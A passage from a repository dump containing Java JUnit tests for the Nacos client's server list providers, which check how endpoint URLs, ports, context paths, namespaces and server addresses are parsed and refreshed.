}\n    \n    @Test\n    void testGetServerNameDefault() throws NacosException {\n        properties.setProperty(\"MockTest\", \"true\");\n        serverListManager = new MockServerListManager(properties);\n        serverListManager.start();\n        assertEquals(\"testModule-\", serverListManager.getServerName());\n    }\n    \n    @Test\n    void testGetServerName() throws NacosException {\n        properties.setProperty(\"MockTest\", \"true\");\n        properties.setProperty(\"ReturnMock\", \"true\");\n        serverListManager = new MockServerListManager(properties);\n        serverListManager.start();\n        assertEquals(\"testModule-MockServerName\", serverListManager.getServerName());\n    }\n    \n    @Test\n    void testGetContextPathDefault() throws NacosException {\n        properties.setProperty(\"MockTest\", \"true\");\n        serverListManager = new MockServerListManager(properties);\n        serverListManager.start();\n        assertEquals(\"nacos\", serverListManager.getContextPath());\n    }\n    \n    @Test\n    void testGetContextPath() throws NacosException {\n        properties.setProperty(\"MockTest\", \"true\");\n        properties.setProperty(\"ReturnMock\", \"true\");\n        serverListManager = new MockServerListManager(properties);\n        serverListManager.start();\n        assertEquals(\"MockContextPath\", serverListManager.getContextPath());\n    }\n    \n    @Test\n    void testGetNamespaceDefault() throws NacosException {\n        properties.setProperty(\"MockTest\", \"true\");\n        serverListManager = new MockServerListManager(properties);\n        serverListManager.start();\n        assertEquals(\"\", serverListManager.getNamespace());\n    }\n    \n    @Test\n    void testGetNamespace() throws NacosException {\n        properties.setProperty(\"MockTest\", \"true\");\n        properties.setProperty(\"ReturnMock\", \"true\");\n        serverListManager = new MockServerListManager(properties);\n        serverListManager.start();\n        assertEquals(\"MockNamespace\", serverListManager.getNamespace());\n    }\n    \n    @Test\n    void testGetAddressSourceDefault() throws NacosException {\n        properties.setProperty(\"MockTest\", \"true\");\n        serverListManager = new MockServerListManager(properties);\n        serverListManager.start();\n        assertEquals(\"\", serverListManager.getAddressSource());\n    }\n    \n    @Test\n    void testGetAddressSource() throws NacosException {\n        properties.setProperty(\"MockTest\", \"true\");\n        properties.setProperty(\"ReturnMock\", \"true\");\n        serverListManager = new MockServerListManager(properties);\n        serverListManager.start();\n        assertEquals(\"MockAddressSource\", serverListManager.getAddressSource());\n    }\n    \n    @Test\n    void testIsFixedDefault() throws NacosException {\n        properties.setProperty(\"MockTest\", \"true\");\n        serverListManager = new MockServerListManager(properties);\n        serverListManager.start();\n        assertFalse(serverListManager.isFixed());\n    }\n    \n    @Test\n    void testIsFixed() throws NacosException {\n        properties.setProperty(\"MockTest\", \"true\");\n        properties.setProperty(\"ReturnMock\", \"true\");\n        serverListManager = new MockServerListManager(properties);\n        serverListManager.start();\n        assertTrue(serverListManager.isFixed());\n    }\n    \n    private class MockServerListManager extends AbstractServerListManager {\n        \n        public MockServerListManager(NacosClientProperties properties) {\n            super(properties);\n        }\n        \n        public MockServerListManager(NacosClientProperties properties, String namespace) {\n            super(properties, namespace);\n        }\n        \n        @Override\n        protected String getModuleName() {\n            return \"testModule\";\n        }\n        \n        @Override\n        protected NacosRestTemplate getNacosRestTemplate() {\n            return restTemplate;\n        }\n        \n        @Override\n        public String genNextServer() {\n            return \"\";\n        }\n        \n        @Override\n        public String getCurrentServer() {\n            return \"\";\n        }\n    }\n}"
  },
  {
    "path": "client-basic/src/test/java/com/alibaba/nacos/client/address/EndpointServerListProviderTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.address;\n\nimport com.alibaba.nacos.api.PropertyKeyConst;\nimport com.alibaba.nacos.api.SystemPropertyKeyConst;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.client.constant.Constants;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.client.utils.ClientBasicParamUtil;\nimport com.alibaba.nacos.client.utils.ContextPathUtil;\nimport com.alibaba.nacos.common.constant.HttpHeaderConsts;\nimport com.alibaba.nacos.common.http.HttpRestResult;\nimport com.alibaba.nacos.common.http.client.NacosRestTemplate;\nimport com.alibaba.nacos.common.http.param.Header;\nimport com.alibaba.nacos.common.http.param.Query;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.io.IOException;\nimport java.lang.reflect.Field;\nimport java.util.concurrent.TimeUnit;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.anyString;\nimport static org.mockito.ArgumentMatchers.argThat;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass EndpointServerListProviderTest {\n    \n    @Mock\n    NacosRestTemplate nacosRestTemplate;\n    \n    private EndpointServerListProvider serverListProvider;\n    \n    private NacosClientProperties properties;\n    \n    private HttpRestResult requestSuccess;\n    \n    @BeforeEach\n    void setUp() {\n        requestSuccess = new HttpRestResult<>(Header.EMPTY, 200, \"\\n127.0.0.1\\nlocalhost:9848\", \"success\");\n        serverListProvider = new EndpointServerListProvider();\n        properties = NacosClientProperties.PROTOTYPE.derive();\n    }\n    \n    @AfterEach\n    void tearDown() throws NacosException {\n        System.clearProperty(PropertyKeyConst.SystemEnv.ALIBABA_ALIWARE_ENDPOINT_URL);\n        System.clearProperty(PropertyKeyConst.SystemEnv.ALIBABA_ALIWARE_ENDPOINT_PORT);\n        System.clearProperty(PropertyKeyConst.SystemEnv.ALIBABA_ALIWARE_ENDPOINT_CONTEXT_PATH);\n        System.clearProperty(PropertyKeyConst.ENDPOINT_CLUSTER_NAME);\n        System.clearProperty(SystemPropertyKeyConst.IS_USE_ENDPOINT_PARSING_RULE);\n        serverListProvider.shutdown();\n    }\n    \n    @Test\n    void testInitWithoutProperties() throws NacosException {\n        assertThrows(NacosException.class, () -> serverListProvider.init(null, nacosRestTemplate));\n    }\n    \n    @Test\n    void testMatchAndInitForPropertiesEndpoint() throws Exception {\n        assertFalse(serverListProvider.match(properties));\n        properties.setProperty(PropertyKeyConst.ENDPOINT, \"endpointFromProperties\");\n        assertTrue(serverListProvider.match(properties));\n        when(nacosRestTemplate.get(anyString(), any(Header.class), any(Query.class), eq(String.class))).thenReturn(\n                requestSuccess);\n        serverListProvider.init(properties, nacosRestTemplate);\n        assertInit(\"endpointFromProperties\", 8080, ClientBasicParamUtil.getDefaultContextPath(), ClientBasicParamUtil.getDefaultNodesPath(),\n                \"\", ClientBasicParamUtil.getDefaultContextPath());\n        assertEquals(2, serverListProvider.getServerList().size());\n    }\n    \n    @Test\n    void testMatchAndInitForSystemEndpoint() throws Exception {\n        assertFalse(serverListProvider.match(properties));\n        System.setProperty(PropertyKeyConst.SystemEnv.ALIBABA_ALIWARE_ENDPOINT_URL, \"endpointFromSystem\");\n        when(nacosRestTemplate.get(anyString(), any(Header.class), any(Query.class), eq(String.class))).thenReturn(\n                requestSuccess);\n        assertTrue(serverListProvider.match(properties));\n        serverListProvider.init(properties, nacosRestTemplate);\n        assertInit(\"endpointFromSystem\", 8080, ClientBasicParamUtil.getDefaultContextPath(), ClientBasicParamUtil.getDefaultNodesPath(), \"\",\n                ClientBasicParamUtil.getDefaultContextPath());\n        assertEquals(2, serverListProvider.getServerList().size());\n    }\n    \n    @Test\n    void testMatchAndInitByParsingFalseFromProperties() throws Exception {\n        assertFalse(serverListProvider.match(properties));\n        properties.setProperty(PropertyKeyConst.ENDPOINT, \"endpointFromProperties\");\n        System.setProperty(PropertyKeyConst.SystemEnv.ALIBABA_ALIWARE_ENDPOINT_URL, \"endpointFromSystem\");\n        properties.setProperty(PropertyKeyConst.IS_USE_ENDPOINT_PARSING_RULE, \"false\");\n        assertTrue(serverListProvider.match(properties));\n        when(nacosRestTemplate.get(anyString(), any(Header.class), any(Query.class), eq(String.class))).thenReturn(\n                requestSuccess);\n        serverListProvider.init(properties, nacosRestTemplate);\n        assertInit(\"endpointFromProperties\", 8080, ClientBasicParamUtil.getDefaultContextPath(), ClientBasicParamUtil.getDefaultNodesPath(),\n                \"\", ClientBasicParamUtil.getDefaultContextPath());\n        assertEquals(2, serverListProvider.getServerList().size());\n    }\n    \n    @Test\n    void testMatchAndInitByParsingFalseFromSystem() throws Exception {\n        assertFalse(serverListProvider.match(properties));\n        properties.setProperty(PropertyKeyConst.ENDPOINT, \"endpointFromProperties\");\n        System.setProperty(PropertyKeyConst.SystemEnv.ALIBABA_ALIWARE_ENDPOINT_URL, \"endpointFromSystem\");\n        System.setProperty(SystemPropertyKeyConst.IS_USE_ENDPOINT_PARSING_RULE, \"false\");\n        assertTrue(serverListProvider.match(properties));\n        when(nacosRestTemplate.get(anyString(), any(Header.class), any(Query.class), eq(String.class))).thenReturn(\n                requestSuccess);\n        serverListProvider.init(properties, nacosRestTemplate);\n        assertInit(\"endpointFromProperties\", 8080, ClientBasicParamUtil.getDefaultContextPath(), ClientBasicParamUtil.getDefaultNodesPath(),\n                \"\", ClientBasicParamUtil.getDefaultContextPath());\n        assertEquals(2, serverListProvider.getServerList().size());\n    }\n    \n    @Test\n    void testMatchAndInitByParsingTrue() throws Exception {\n        assertFalse(serverListProvider.match(properties));\n        properties.setProperty(PropertyKeyConst.ENDPOINT, \"endpointFromProperties\");\n        System.setProperty(PropertyKeyConst.SystemEnv.ALIBABA_ALIWARE_ENDPOINT_URL, \"endpointFromSystem\");\n        assertTrue(serverListProvider.match(properties));\n        when(nacosRestTemplate.get(anyString(), any(Header.class), any(Query.class), eq(String.class))).thenReturn(\n                requestSuccess);\n        serverListProvider.init(properties, nacosRestTemplate);\n        assertInit(\"endpointFromSystem\", 8080, ClientBasicParamUtil.getDefaultContextPath(), ClientBasicParamUtil.getDefaultNodesPath(), \"\",\n                ClientBasicParamUtil.getDefaultContextPath());\n        assertEquals(2, serverListProvider.getServerList().size());\n    }\n    \n    @Test\n    void testInitWithPropertiesEndpointPort() throws Exception {\n        properties.setProperty(PropertyKeyConst.ENDPOINT, \"endpointFromProperties\");\n        properties.setProperty(PropertyKeyConst.ENDPOINT_PORT, \"80\");\n        when(nacosRestTemplate.get(anyString(), any(Header.class), any(Query.class), eq(String.class))).thenReturn(\n                requestSuccess);\n        serverListProvider.init(properties, nacosRestTemplate);\n        assertInit(\"endpointFromProperties\", 80, ClientBasicParamUtil.getDefaultContextPath(), ClientBasicParamUtil.getDefaultNodesPath(), \"\",\n                ClientBasicParamUtil.getDefaultContextPath());\n        assertEquals(2, serverListProvider.getServerList().size());\n    }\n    \n    @Test\n    void testInitWithSystemEndpointPort() throws Exception {\n        properties.setProperty(PropertyKeyConst.ENDPOINT, \"endpointFromProperties\");\n        System.setProperty(PropertyKeyConst.SystemEnv.ALIBABA_ALIWARE_ENDPOINT_PORT, \"443\");\n        when(nacosRestTemplate.get(anyString(), any(Header.class), any(Query.class), eq(String.class))).thenReturn(\n                requestSuccess);\n        serverListProvider.init(properties, nacosRestTemplate);\n        assertInit(\"endpointFromProperties\", 443, ClientBasicParamUtil.getDefaultContextPath(), ClientBasicParamUtil.getDefaultNodesPath(),\n                \"\", ClientBasicParamUtil.getDefaultContextPath());\n        assertEquals(2, serverListProvider.getServerList().size());\n    }\n    \n    @Test\n    void testInitWithPropertiesEndpointContextPath() throws Exception {\n        properties.setProperty(PropertyKeyConst.ENDPOINT, \"endpointFromProperties\");\n        properties.setProperty(PropertyKeyConst.ENDPOINT_CONTEXT_PATH, \"address\");\n        when(nacosRestTemplate.get(anyString(), any(Header.class), any(Query.class), eq(String.class))).thenReturn(\n                requestSuccess);\n        serverListProvider.init(properties, nacosRestTemplate);\n        assertInit(\"endpointFromProperties\", 8080, \"address\", ClientBasicParamUtil.getDefaultNodesPath(), \"\",\n                ClientBasicParamUtil.getDefaultContextPath());\n        assertEquals(2, serverListProvider.getServerList().size());\n    }\n    \n    @Test\n    void testInitWithSystemEndpointContextPath() throws Exception {\n        properties.setProperty(PropertyKeyConst.ENDPOINT, \"endpointFromProperties\");\n        System.setProperty(PropertyKeyConst.SystemEnv.ALIBABA_ALIWARE_ENDPOINT_CONTEXT_PATH, \"addresses\");\n        when(nacosRestTemplate.get(anyString(), any(Header.class), any(Query.class), eq(String.class))).thenReturn(\n                requestSuccess);\n        serverListProvider.init(properties, nacosRestTemplate);\n        assertInit(\"endpointFromProperties\", 8080, \"addresses\", ClientBasicParamUtil.getDefaultNodesPath(), \"\",\n                ClientBasicParamUtil.getDefaultContextPath());\n        assertEquals(2, serverListProvider.getServerList().size());\n    }\n    \n    @Test\n    void testInitContextPathWithFull() throws Exception {\n        properties.setProperty(PropertyKeyConst.ENDPOINT, \"endpointFromProperties\");\n        properties.setProperty(PropertyKeyConst.CONTEXT_PATH, \"globalContextPath\");\n        when(nacosRestTemplate.get(anyString(), any(Header.class), any(Query.class), eq(String.class))).thenReturn(\n                requestSuccess);\n        serverListProvider.init(properties, nacosRestTemplate);\n        assertInit(\"endpointFromProperties\", 8080, \"globalContextPath\", ClientBasicParamUtil.getDefaultNodesPath(), \"\",\n                \"globalContextPath\");\n        assertEquals(2, serverListProvider.getServerList().size());\n    }\n    \n    @Test\n    void testInitWithPropertiesEndpointClusterName() throws Exception {\n        properties.setProperty(PropertyKeyConst.ENDPOINT, \"endpointFromProperties\");\n        properties.setProperty(PropertyKeyConst.ENDPOINT_CLUSTER_NAME, \"endpointClusterName\");\n        when(nacosRestTemplate.get(anyString(), any(Header.class), any(Query.class), eq(String.class))).thenReturn(\n                requestSuccess);\n        serverListProvider.init(properties, nacosRestTemplate);\n        assertInit(\"endpointFromProperties\", 8080, ClientBasicParamUtil.getDefaultContextPath(), \"endpointClusterName\", \"\",\n                ClientBasicParamUtil.getDefaultContextPath());\n        assertEquals(2, serverListProvider.getServerList().size());\n    }\n    \n    @Test\n    void testInitWithPropertiesEndpointClusterNameWithFull() throws Exception {\n        properties.setProperty(PropertyKeyConst.ENDPOINT, \"endpointFromProperties\");\n        properties.setProperty(PropertyKeyConst.CLUSTER_NAME, \"clusterName\");\n        properties.setProperty(PropertyKeyConst.ENDPOINT_CLUSTER_NAME, \"endpointClusterName\");\n        properties.setProperty(PropertyKeyConst.IS_ADAPT_CLUSTER_NAME_USAGE, \"true\");\n        when(nacosRestTemplate.get(anyString(), any(Header.class), any(Query.class), eq(String.class))).thenReturn(\n                requestSuccess);\n        serverListProvider.init(properties, nacosRestTemplate);\n        assertInit(\"endpointFromProperties\", 8080, ClientBasicParamUtil.getDefaultContextPath(), \"endpointClusterName\", \"\",\n                ClientBasicParamUtil.getDefaultContextPath());\n        assertEquals(2, serverListProvider.getServerList().size());\n    }\n    \n    @Test\n    void testInitWithSystemEndpointClusterNameByOldWay() throws Exception {\n        properties.setProperty(PropertyKeyConst.ENDPOINT, \"endpointFromProperties\");\n        properties.setProperty(PropertyKeyConst.CLUSTER_NAME, \"clusterName\");\n        properties.setProperty(PropertyKeyConst.IS_ADAPT_CLUSTER_NAME_USAGE, \"true\");\n        when(nacosRestTemplate.get(anyString(), any(Header.class), any(Query.class), eq(String.class))).thenReturn(\n                requestSuccess);\n        serverListProvider.init(properties, nacosRestTemplate);\n        assertInit(\"endpointFromProperties\", 8080, ClientBasicParamUtil.getDefaultContextPath(), \"clusterName\", \"\",\n                ClientBasicParamUtil.getDefaultContextPath());\n        assertEquals(2, serverListProvider.getServerList().size());\n    }\n    \n    @Test\n    void testInitWithSystemEndpointClusterWithoutAdapt() throws Exception {\n        properties.setProperty(PropertyKeyConst.ENDPOINT, \"endpointFromProperties\");\n        properties.setProperty(PropertyKeyConst.CLUSTER_NAME, \"clusterName\");\n        when(nacosRestTemplate.get(anyString(), any(Header.class), any(Query.class), eq(String.class))).thenReturn(\n                requestSuccess);\n        serverListProvider.init(properties, nacosRestTemplate);\n        assertInit(\"endpointFromProperties\", 8080, ClientBasicParamUtil.getDefaultContextPath(), ClientBasicParamUtil.getDefaultNodesPath(),\n                \"\", ClientBasicParamUtil.getDefaultContextPath());\n        assertEquals(2, serverListProvider.getServerList().size());\n    }\n    \n    @Test\n    void testInitWithNamespace() throws Exception {\n        properties.setProperty(PropertyKeyConst.ENDPOINT, \"endpointFromProperties\");\n        properties.setProperty(PropertyKeyConst.NAMESPACE, \"customNamespace\");\n        when(nacosRestTemplate.get(anyString(), any(Header.class), any(Query.class), eq(String.class))).thenReturn(\n                requestSuccess);\n        serverListProvider.init(properties, nacosRestTemplate);\n        assertInit(\"endpointFromProperties\", 8080, ClientBasicParamUtil.getDefaultContextPath(), ClientBasicParamUtil.getDefaultNodesPath(),\n                \"customNamespace\", ClientBasicParamUtil.getDefaultContextPath());\n        assertEquals(2, serverListProvider.getServerList().size());\n    }\n    \n    @Test\n    void testInitWithQuery() throws Exception {\n        properties.setProperty(PropertyKeyConst.ENDPOINT, \"endpointFromProperties\");\n        properties.setProperty(PropertyKeyConst.ENDPOINT_QUERY_PARAMS, \"nofix=1\");\n        when(nacosRestTemplate.get(anyString(), any(Header.class), any(Query.class), eq(String.class))).thenReturn(\n                requestSuccess);\n        serverListProvider.init(properties, nacosRestTemplate);\n        assertInit(\"endpointFromProperties\", 8080, ClientBasicParamUtil.getDefaultContextPath(), ClientBasicParamUtil.getDefaultNodesPath(),\n                \"\", ClientBasicParamUtil.getDefaultContextPath(), \"nofix=1\");\n        assertEquals(2, serverListProvider.getServerList().size());\n    }\n    \n    @Test\n    void testInitWithNamespaceAndQuery() throws Exception {\n        properties.setProperty(PropertyKeyConst.ENDPOINT, \"endpointFromProperties\");\n        properties.setProperty(PropertyKeyConst.NAMESPACE, \"customNamespace\");\n        properties.setProperty(PropertyKeyConst.ENDPOINT_QUERY_PARAMS, \"nofix=1\");\n        when(nacosRestTemplate.get(anyString(), any(Header.class), any(Query.class), eq(String.class))).thenReturn(\n                requestSuccess);\n        serverListProvider.init(properties, nacosRestTemplate);\n        assertInit(\"endpointFromProperties\", 8080, ClientBasicParamUtil.getDefaultContextPath(), ClientBasicParamUtil.getDefaultNodesPath(),\n                \"customNamespace\", ClientBasicParamUtil.getDefaultContextPath(), \"nofix=1\");\n        assertEquals(2, serverListProvider.getServerList().size());\n    }\n    \n    @Test\n    void testInitWithModuleType() throws Exception {\n        properties.setProperty(PropertyKeyConst.ENDPOINT, \"endpointFromProperties\");\n        properties.setProperty(com.alibaba.nacos.api.common.Constants.CLIENT_MODULE_TYPE, \"naming\");\n        when(nacosRestTemplate.get(anyString(),\n                argThat(header -> \"naming\".equals(header.getValue(HttpHeaderConsts.REQUEST_MODULE))), any(Query.class),\n                eq(String.class))).thenReturn(requestSuccess);\n        serverListProvider.init(properties, nacosRestTemplate);\n        assertFalse(serverListProvider.getServerList().isEmpty());\n        assertEquals(2, serverListProvider.getServerList().size());\n    }\n    \n    @Test\n    void testInitGetServerListWithException() throws Exception {\n        properties.setProperty(PropertyKeyConst.ENDPOINT, \"endpointFromProperties\");\n        when(nacosRestTemplate.get(anyString(), any(Header.class), any(Query.class), eq(String.class))).thenThrow(\n                new IOException(\"test\"));\n        assertThrows(NacosException.class, () -> serverListProvider.init(properties, nacosRestTemplate));\n    }\n    \n    @Test\n    void testInitGetServerListWithError() throws Exception {\n        properties.setProperty(PropertyKeyConst.ENDPOINT, \"endpointFromProperties\");\n        HttpRestResult failedResult = new HttpRestResult<>(Header.EMPTY, 500, null, \"test\");\n        when(nacosRestTemplate.get(anyString(), any(Header.class), any(Query.class), eq(String.class))).thenReturn(\n                failedResult);\n        assertThrows(NacosException.class, () -> serverListProvider.init(properties, nacosRestTemplate));\n    }\n    \n    @Test\n    void testRefreshServerList() throws Exception {\n        properties.setProperty(PropertyKeyConst.ENDPOINT, \"endpointFromProperties\");\n        properties.setProperty(PropertyKeyConst.ENDPOINT_REFRESH_INTERVAL_SECONDS, \"1\");\n        HttpRestResult newResult = new HttpRestResult<>(Header.EMPTY, 200, \"\\n1.1.1.1 \\nlocalhost:9848\", \"success\");\n        when(nacosRestTemplate.get(anyString(), any(Header.class), any(Query.class), eq(String.class))).thenReturn(\n                requestSuccess, newResult);\n        serverListProvider.init(properties, nacosRestTemplate);\n        assertEquals(2, serverListProvider.getServerList().size());\n        assertEquals(\"127.0.0.1:8848\", serverListProvider.getServerList().get(0));\n        assertEquals(\"localhost:9848\", serverListProvider.getServerList().get(1));\n        Field field = EndpointServerListProvider.class.getDeclaredField(\"lastServerListRefreshTime\");\n        field.setAccessible(true);\n        field.set(serverListProvider, 0L);\n        // wait refresh\n        TimeUnit.MILLISECONDS.sleep(2000);\n        assertEquals(2, serverListProvider.getServerList().size());\n        assertEquals(\"1.1.1.1:8848\", serverListProvider.getServerList().get(0));\n        assertEquals(\"localhost:9848\", serverListProvider.getServerList().get(1));\n    }\n    \n    @Test\n    void testRefreshServerListWithDiffSort() throws Exception {\n        properties.setProperty(PropertyKeyConst.ENDPOINT, \"endpointFromProperties\");\n        properties.setProperty(PropertyKeyConst.ENDPOINT_REFRESH_INTERVAL_SECONDS, \"1\");\n        HttpRestResult newResult = new HttpRestResult<>(Header.EMPTY, 200, \"\\nlocalhost:9848\\n127.0.0.1\", \"success\");\n        when(nacosRestTemplate.get(anyString(), any(Header.class), any(Query.class), eq(String.class))).thenReturn(\n                requestSuccess, newResult);\n        serverListProvider.init(properties, nacosRestTemplate);\n        assertEquals(2, serverListProvider.getServerList().size());\n        assertEquals(\"127.0.0.1:8848\", serverListProvider.getServerList().get(0));\n        assertEquals(\"localhost:9848\", serverListProvider.getServerList().get(1));\n        Field field = EndpointServerListProvider.class.getDeclaredField(\"lastServerListRefreshTime\");\n        field.setAccessible(true);\n        field.set(serverListProvider, 0L);\n        // wait refresh\n        TimeUnit.MILLISECONDS.sleep(2000);\n        assertEquals(2, serverListProvider.getServerList().size());\n        assertEquals(\"127.0.0.1:8848\", serverListProvider.getServerList().get(0));\n        assertEquals(\"localhost:9848\", serverListProvider.getServerList().get(1));\n    }\n    \n    private void assertInit(String expectedEndpoint, int expectEndpointPort, String expectedEndpointContext,\n            String expectedServiceName, String expectedNamespace, String expectedContextPath) {\n        assertInit(expectedEndpoint, expectEndpointPort, expectedEndpointContext, expectedServiceName,\n                expectedNamespace, expectedContextPath, null);\n    }\n    \n    private void assertInit(String expectedEndpoint, int expectEndpointPort, String expectedEndpointContext,\n            String expectedServiceName, String expectedNamespace, String expectedContextPath, String expectedQuery) {\n        String expectedAddressServerUrl = String.format(\"http://%s:%d%s/%s\", expectedEndpoint, expectEndpointPort,\n                ContextPathUtil.normalizeContextPath(expectedEndpointContext), expectedServiceName);\n        assertEquals(Constants.Address.ENDPOINT_SERVER_LIST_PROVIDER_ORDER, serverListProvider.getOrder());\n        String expectedServerName = String.format(\"%s-%s_%d_%s_%s\", \"custom\", expectedEndpoint, expectEndpointPort,\n                expectedEndpointContext, expectedServiceName);\n        if (StringUtils.isNotBlank(expectedNamespace)) {\n            expectedServerName = String.format(\"%s_%s\", expectedServerName, expectedNamespace);\n            expectedAddressServerUrl += \"?namespace=\" + expectedNamespace;\n        }\n        if (StringUtils.isNotBlank(expectedQuery)) {\n            String queryTag = StringUtils.isBlank(expectedNamespace) ? \"?\" : \"&\";\n            expectedAddressServerUrl += queryTag + expectedQuery;\n        }\n        assertEquals(expectedAddressServerUrl, serverListProvider.getAddressSource());\n        assertEquals(expectedServerName, serverListProvider.getServerName());\n        assertEquals(expectedNamespace, serverListProvider.getNamespace());\n        assertEquals(expectedContextPath, serverListProvider.getContextPath());\n    }\n}"
  },
  {
    "path": "client-basic/src/test/java/com/alibaba/nacos/client/address/PropertiesListProviderTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.address;\n\nimport com.alibaba.nacos.api.PropertyKeyConst;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.client.constant.Constants;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass PropertiesListProviderTest {\n    \n    private PropertiesListProvider propertiesListProvider;\n    \n    @BeforeEach\n    void setUp() {\n        propertiesListProvider = new PropertiesListProvider();\n    }\n    \n    @AfterEach\n    void tearDown() throws NacosException {\n        propertiesListProvider.shutdown();\n    }\n    \n    @Test\n    void testInitWithoutProperties() throws NacosException {\n        assertThrows(NacosException.class, () -> propertiesListProvider.init(null, null));\n    }\n    \n    @Test\n    void testInit() throws NacosException {\n        NacosClientProperties properties = NacosClientProperties.PROTOTYPE.derive();\n        assertFalse(propertiesListProvider.match(properties));\n        properties.setProperty(PropertyKeyConst.SERVER_ADDR,\n                \"localhost:1111,http://127.0.0.1:2222;https://1.1.1.1:3333,2.2.2.2;http://3.3.3.3,https://4.4.4.4\");\n        assertTrue(propertiesListProvider.match(properties));\n        propertiesListProvider.init(properties, null);\n        assertEquals(6, propertiesListProvider.getServerList().size());\n        assertEquals(\"localhost:1111\", propertiesListProvider.getServerList().get(0));\n        assertEquals(\"http://127.0.0.1:2222\", propertiesListProvider.getServerList().get(1));\n        assertEquals(\"https://1.1.1.1:3333\", propertiesListProvider.getServerList().get(2));\n        assertEquals(\"2.2.2.2:8848\", propertiesListProvider.getServerList().get(3));\n        assertEquals(\"http://3.3.3.3\", propertiesListProvider.getServerList().get(4));\n        assertEquals(\"https://4.4.4.4\", propertiesListProvider.getServerList().get(5));\n        assertTrue(propertiesListProvider.isFixed());\n        assertEquals(Constants.Address.ADDRESS_SERVER_LIST_PROVIDER_ORDER, propertiesListProvider.getOrder());\n        assertEquals(\"fixed-localhost_1111-127.0.0.1_2222-1.1.1.1_3333-2.2.2.2_8848-3.3.3.3-4.4.4.4\",\n                propertiesListProvider.getServerName());\n    }\n    \n    @Test\n    void testGetServerNameWithNamespace() throws NacosException {\n        NacosClientProperties properties = NacosClientProperties.PROTOTYPE.derive();\n        properties.setProperty(PropertyKeyConst.NAMESPACE, \"test_namespace\");\n        properties.setProperty(PropertyKeyConst.SERVER_ADDR, \"localhost:1111\");\n        propertiesListProvider.init(properties, null);\n        assertEquals(\"fixed-test_namespace-localhost_1111\", propertiesListProvider.getServerName());\n        assertEquals(\"test_namespace\", propertiesListProvider.getNamespace());\n    }\n}"
  },
  {
    "path": "client-basic/src/test/java/com/alibaba/nacos/client/address/mock/MockServerListProvider.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.address.mock;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.client.address.ServerListProvider;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.common.http.client.NacosRestTemplate;\n\nimport java.util.Collections;\nimport java.util.List;\n\npublic class MockServerListProvider implements ServerListProvider {\n    \n    private NacosClientProperties properties;\n    \n    @Override\n    public void init(NacosClientProperties properties, NacosRestTemplate nacosRestTemplate) throws NacosException {\n        this.properties = properties;\n        nacosRestTemplate.getInterceptors();\n    }\n    \n    @Override\n    public List<String> getServerList() {\n        if (properties.containsKey(\"EmptyList\")) {\n            return Collections.emptyList();\n        }\n        return Collections.singletonList(\"mock-server-list\");\n    }\n    \n    @Override\n    public int getOrder() {\n        return Integer.MIN_VALUE;\n    }\n    \n    @Override\n    public boolean match(NacosClientProperties properties) {\n        return properties.containsKey(\"MockTest\");\n    }\n    \n    @Override\n    public void shutdown() throws NacosException {\n    }\n    \n    @Override\n    public String getServerName() {\n        if (isReturnMock()) {\n            return \"MockServerName\";\n        }\n        return ServerListProvider.super.getServerName();\n    }\n    \n    @Override\n    public String getNamespace() {\n        if (isReturnMock()) {\n            return \"MockNamespace\";\n        }\n        return ServerListProvider.super.getNamespace();\n    }\n    \n    @Override\n    public String getContextPath() {\n        if (isReturnMock()) {\n            return \"MockContextPath\";\n        }\n        return ServerListProvider.super.getContextPath();\n    }\n    \n    @Override\n    public boolean isFixed() {\n        if (isReturnMock()) {\n            return true;\n        }\n        return 